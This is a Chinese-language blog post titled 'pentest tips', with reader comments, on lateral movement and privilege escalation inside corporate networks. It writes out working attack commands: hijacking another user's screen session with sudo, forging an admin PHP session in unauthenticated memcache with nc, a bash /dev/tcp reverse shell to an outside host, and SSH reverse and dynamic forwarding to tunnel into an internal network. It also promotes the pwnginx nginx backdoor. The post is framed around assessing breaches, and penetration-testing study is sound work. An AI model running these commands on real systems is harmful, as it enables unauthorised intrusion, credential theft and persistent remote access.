pentest tips

作者:我不知道该唱什么 发布时间:June 14, 2013 16:07:56 分类:tech

published@hackshell.net

在企业经受一次被检测到的入侵事件后,怎样评估所受损失是一件比较困难的事。因为时间、审计粒度等因素,经由安全部门根据日志复现出来的未授权行为报告往往不一定能够完全披露入侵者所做过的事情。

在一年中平常的一天,员工在一台测试服务器上发现了后门文件。那么入侵者用该文件都能做什么,又实际做了什么,而我们审计日志的内容和方式又能不能提供可信的、粒度足够的信息呢?
测试服务器又是否真的无关紧要,之前的隔离是否又真的按你心中所想的在起作用呢?

一个比较好的方法可能是站在这个后门的使用者的角度来看这件事情。

我们的关注的目标一般都是后端存储(数据库、文件系统 etc),这里我们尝试建立一个模型:我们在尝试越权的时候无非是试图获取以下资源的接入权:数据和资源。资源一般大概能分为计算资源和存储资源,系统即是在利用计算资源来产生与消费存储资源上的数据。而资源一般是实体形式存在的并且满世界都有,具有唯一性的只有数据。那么我们为什么会把目光放在存储资源上的数据而不是计算资源上的数据呢?因为计算资源所承载的数据量往往是小量并是临时,存储资源上的数据则集中并且完整。
下面的讨论可能基于上面的一些论述。
这里就谈我有想法的几个情况。情况并没有被完全覆盖和分类。

有关内网提权的一些思路


1 当我们接入到了一个边缘位置时
边缘位置情况很多,有可能仅仅是个测试系统,有可能是管理机(运维人员通过此机器管理整个系统的机器,他很重要 但是对于业务系统来讲他是处在边缘的)。

1.1 测试、监控或其他不太相干的位置
测试或其他不太相干的位置很尴尬,但是并不是无一用处。我们需要依靠他们的功用来达到自己的目的,比如如下两个例子:
测试机器:其中一个特点是,在极小的机器范围中,实现了近乎完整的业务系统,这样使得我们可以更轻松的学习整个业务系统。
监控系统:监控系统对于系统各处的可达性往往是最好的。因为它需要监控业务是否处于正常状态,它几乎是我们的“通道机器”:包括对生产环境中各个机器角色的确定,网络拓扑的刺探等等,并且监控系统是内部系统,从而其程序往往没有产品那么严谨。

边缘位置的弊处就显而易见了:我们里生产环境太远、太没有关系了,这时候就需要分析本地资源、内网机器其他机器角色(提供的网络服务)的细节以辅助你在外部探测的理解了,当该机器足够没用时,也许该机器带来的唯一利益就是对私有网络的可路由性了。(或者通过使用服务器的“人”这个潜在信道?)
对内部网络的路由能力除了可以使你窥探内网其他机器角色外,对于一些在边界建立防火墙的环境还能够绕过该防火墙对后端server直接访问:

curl 1.1.1.1 -H"Host: www.hackshell.net"

但是这涉及到如何定位咱们想要的服务器角色位置(内网ip)的问题(在这里是应用服务器的位置),这个问题在后面“定感兴趣角色的位置”部分讨论。 测试机有些时候是可以找到和业务逻辑相关的内容的,就是常规思路了:比如一些链接字符串等,比如一些登录的ldap链接字符串,如果看起来很像staff帐号,这时可以尝试下登录邮箱,邮箱是了解该机构的最佳接口。

1.2 当我们接入了一台管理机
有些时候就是这样,我们对于业务逻辑的理解还一塌糊涂的时候,偶然的,或利用奇技淫巧地直接获取到了管理机器的权限。

管理机的价值一般就在于.ssh下面的密钥或者来往的人们输入的密码、screen session等。当然前提是最好有root权限,不过这对于拿到本地用户之后不像是什么难事。 screen即使是root用户我们也无法直接hijack其session,可以利用sudo,一般机器都会安装吧。

#sudo -u tm3y screen -ls
There is a screen on:
11913.ImSecret (Detached)
1 Socket in /run/screens/S-tm3y.

之后screen -r就可以了,对于一台管理机来讲,我相信这其中是一个远端服务器的提示符。
通过这些往往我们很容易的得到整个系统的控制权限。但是我们没有经过业务逻辑的洗礼,导致我们现在有了凭证,却不知道该连向哪里。这又涉及到了如何定位咱们想要的服务器角色位置的问题,在“定感兴趣角色的位置”部分讨论。

2.当我们有了一台前端应用服务器时
怎么拿到的 有可能就是利用一些web app vul了,这时我们很幸运的直接接触到了处在系统中心的计算资源,这里就四通八达了,有可能可以直接得到访问某些后端存储的凭证和路径。但是我们所在位置有些时候并不是我们感兴趣的应用后端,这就可能要求我们以此基础搞定运行其他应用的机器。
这里我们可以从一些有可能共用的其他服务入手,尝试通过ss -an|grep EST查看当前与该机器有联系的其他机器。通过tcpdump来确定其通信协议以判断对端所提供的服务。
这里举两个常见的例子memcache session handler和反向代理/负载均衡:

2.1 memcache session handler
这里共用不共用貌似没什么太大联系,如果自己的php.ini里有,那我们直接就能确定session池的大概范围,没有的话,也可以大量扫11211类似端口。
memcache目前没有提供认证机制,这是我们的利用点。我们可以登录目标应用,利用查看session中是否有可以利用的地方,例如可疑的标志位等:
tm3y@Zombie: ~ $ printf "get ohu913pnc70a21t03frlsf8c12\r\nquit\r\n"|nc localhost 11211
VALUE ohu913pnc70a21t03frlsf8c12 0 30
a|s:5:"testa";auth|s:4:"user";
END

这里auth应该是头号嫌疑犯,如果是开源程序就更好了,或者其他机器上有备份可以看代码的时候。
tm3y@Zombie: ~ $ printf 'set ohu913pnc70a21t03frlsf8c12 0 2592000 31\r\na|s:5:"testa";auth|s:4:"admin";\r\nquit\r\n'|nc localhost 11211
STORED

刷新之,看看运气是否足够好得到了管理员权限。

2.2 反向代理/负载均衡
一般应用服务器上没有什么反向代理的管理凭证,这时往往利用的是可以访问他的内网接口。之后就是。。常规测试和利用了。比如F5 Bigip(CVE-2012-1493)。 这里提一点的是,当我们搞到了lb设备后,基本上唯一有用的就是穿过上面的流量。如果是nginx等反向代理,可以直接利用ettercap等工具来分离流量中自己感兴趣的部分。
但是如果是F5这种设备,上面编译环境、运行库各种缺少的情况下。可以尝试利用设备本身的功能。之前就在F5上纠结了半天,结果发现irule可以把感兴趣的东西记录到日志上,这里本来想发下那段irule,这样以后大家就不用从头写了,现在找了半天发现不知道存哪去了。
nginx的一个小工具在:https://github.com/t57root/pwnginx
最简单而常见的:对当前mysql链接用户的一些权限的利用等等也应该属于这个范畴。

确定感兴趣角色的位置


上次我们两次提到一个问题:就是怎样定位我们感兴趣的角色的位置。像上面说的,极端情况下我们有了权限却不知道该向哪里登录。这个情况对于内网中有多个业务系统,又是庞大的a类私有地址的时候尤为头痛。我相信并切实的体会到这的确是个问题。特别当你的权限来的太突然的时候。
记录管理员行为是个好的方法,同时,我们可以通过对外部资源的的匿名访问权限来一探端倪。

1.应用服务器
应用服务器有太多让我们感兴趣的理由了,应用服务器一般承担着业务计算节点的角色,而业务计算节点是四通八达的,通过他我们可以很轻易的找到访问其他后端组件的凭证和路径。
我们通过web的访问往往是进入业务计算逻辑(应用服务器)的,
这里举几个例子:
tm3y@Zombie: ~/Downloads $ curl www.hackshell.net -I
HTTP/1.1 200 OK
Date: Thu, 08 Nov 2012 16:33:27 GMT
Server: Apache
Set-Cookie: U=0000005b.65d4571c.509bded7.f3150850; path=/; expires=Sun, 06-Nov-22 16:33:27 GMT; domain=.hackshell.net
Cache-Control: no-cache, must-revalidate
Expires: Sat, 26 Jul 1997 05:00:00 GMT
Pragma: no-cache
P3P: CP="CURa ADMa DEVa PSAo PSDo OUR BUS UNI PUR INT DEM STA PRE COM NAV OTC NOI DSP COR"
APP-POOL: hadasi86
Vary: Accept-Encoding
Connection: close
Content-Type: text/html; charset=utf-8
Hackshell-LB: bWFyczIyLnFkLmxiLmhhY2tzaGVsbC5uZXQ=
tm3y@Zombie: ~/Downloads $ echo -n bWFyczIyLnFkLmxiLmhhY2tzaGVsbC5uZXQ=|base64 -d
mars22.qd.lb.hackshell.net

这里我们可以看到hadasi86和mars22.qd.lb.hackshell.net都可以用以窥探其中一些端倪。
tm3y@Zombie: ~ $ curl 1.1.1.1/f2info.php -H"Host: www.hackshell.net" -vv|head
About to connect() to 1.1.1.1 port 80 (#0)
Trying 1.1.1.1...
% Total % Received % Xferd Average Speed Time Time Time Current
Dload Upload Total Spent Left Speed
0 0 0 0 0 0 0 0 --:--:-- --:--:-- --:--:-- 0 connected
Connected to 1.1.1.1 (1.1.1.1) port 80 (#0)
> GET /f2info.php HTTP/1.1
> User-Agent: curl/7.28.0
> Accept: /
> Host: www.hackshell.net
>
< HTTP/1.1 200 OK
< Server: nginx/1.2.4
< Date: Thu, 08 Nov 2012 16:46:37 GMT
< Content-Type: text/html
< Transfer-Encoding: chunked
< Connection: close
< Via: 10.12.14.12
< Set-Cookie: uut=197370907; path=/; max-age=311040000
<

这里我们看到response header里直接暴露了一个私有地址,但是Via这个名字有些模糊,至于他的角色,就看后期分析了,如果是个lb,则可以登录之并查看链接,可以尝试得到后面应用服务器的地址。

2. 其他反向代理角色
这里的一个思路是通过多个代理之间的心跳信号来捕捉代理的位置。具体来说是在所处的位置对一些组播包进行嗅探。
例如一个keepalived的栗子:

有关网络层接入的一些思路


1 我想要一个Shell
首先当然是有一个交互的shell会比较爽,有些版本的netcat的-e可以实现,但是大部分发行版预编译的netcat并没有e这个选项,自己上传当然是一个选择。这里介绍一个利用shell网络编程的方法:
bash < /dev/tcp/1.1.1.1/8080 >&0 2>&0 &

一个shell会反弹到1.1.1.1的8080端口上。

2 获得对内网的路由
除了利用msf的pivot等上传第三方软件之外,我们可以利用大多数情况下都安装的ssh client来实现。但是ssh的-D选项只能在client端建立监听的端口,如果我们的目标在内网,则他连我们和我们连接他都不能实现在我们可达的地址上监听一个代理进内网的socks端口。这里可以用两次转发将内网ssh转发出来后,再做动态端口映射:
victim $ ssh www.hackshell.net -p54321 -lroot -R 123:127.0.0.1:22 -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null
pass:
root@hackshell.net: # ssh localhost -p123 -D 1.1.1.1:8881

这里将服务于动态转发的端口监听在外网ip上,方便我们在其他机器上使用。

以上是之前的几个思路。
最后,最重要也是最不好搞到的就是文档服务器:wiki.hackshell.net/work.hackshell.net/docs.hackshell.net等,给你架构、拓扑、甚至root密码。
一些集群的运维工具的管理端当然也是重点,比如zabbix, puppet等,通过agent的连接找到管理端,想方设法搞定后其自带的功能基本都可以让全部client沦陷。

标签: pentest

已有 6 条评论 »

  1. 炊BB 炊BB

    一个NGINX的内网 用PWNGINX,,然后我连接提示网络错误..外网就没问题

    1. 我不知道该唱什么 我不知道该唱什么

      具体错误是啥?
      有条件的话最好tcpdump下看发生了什么

      1. 炊BB 炊BB

        OK,等我测试下抓包了发你SOURCE的

  2. ACGT ACGT

    多谢分享,很多思路都很赞。

  3. hello hello

    贴一个pwnginx的bug,make的时候出错了
    In function ‘memset’,
    inlined from ‘worker’ at /tmp/modules/pwnginx.c:180:
    /usr/include/bits/string3.h:85: error: call to __builtin___memset_chk will alway
    s overflow destination buffer
    make[1]: *** [objs/addon/modules/pwnginx.o] Error 1
    make[1]: Leaving directory `/root/nginx-1.4.2'
    make: *** [build] Error 2

    os:CentOS release 6.4 (Final)
    nginx:nginx-1.4.2

    1. 我不知道该唱什么 我不知道该唱什么

      多谢,一个愚蠢的错误又被发现了

添加新评论 »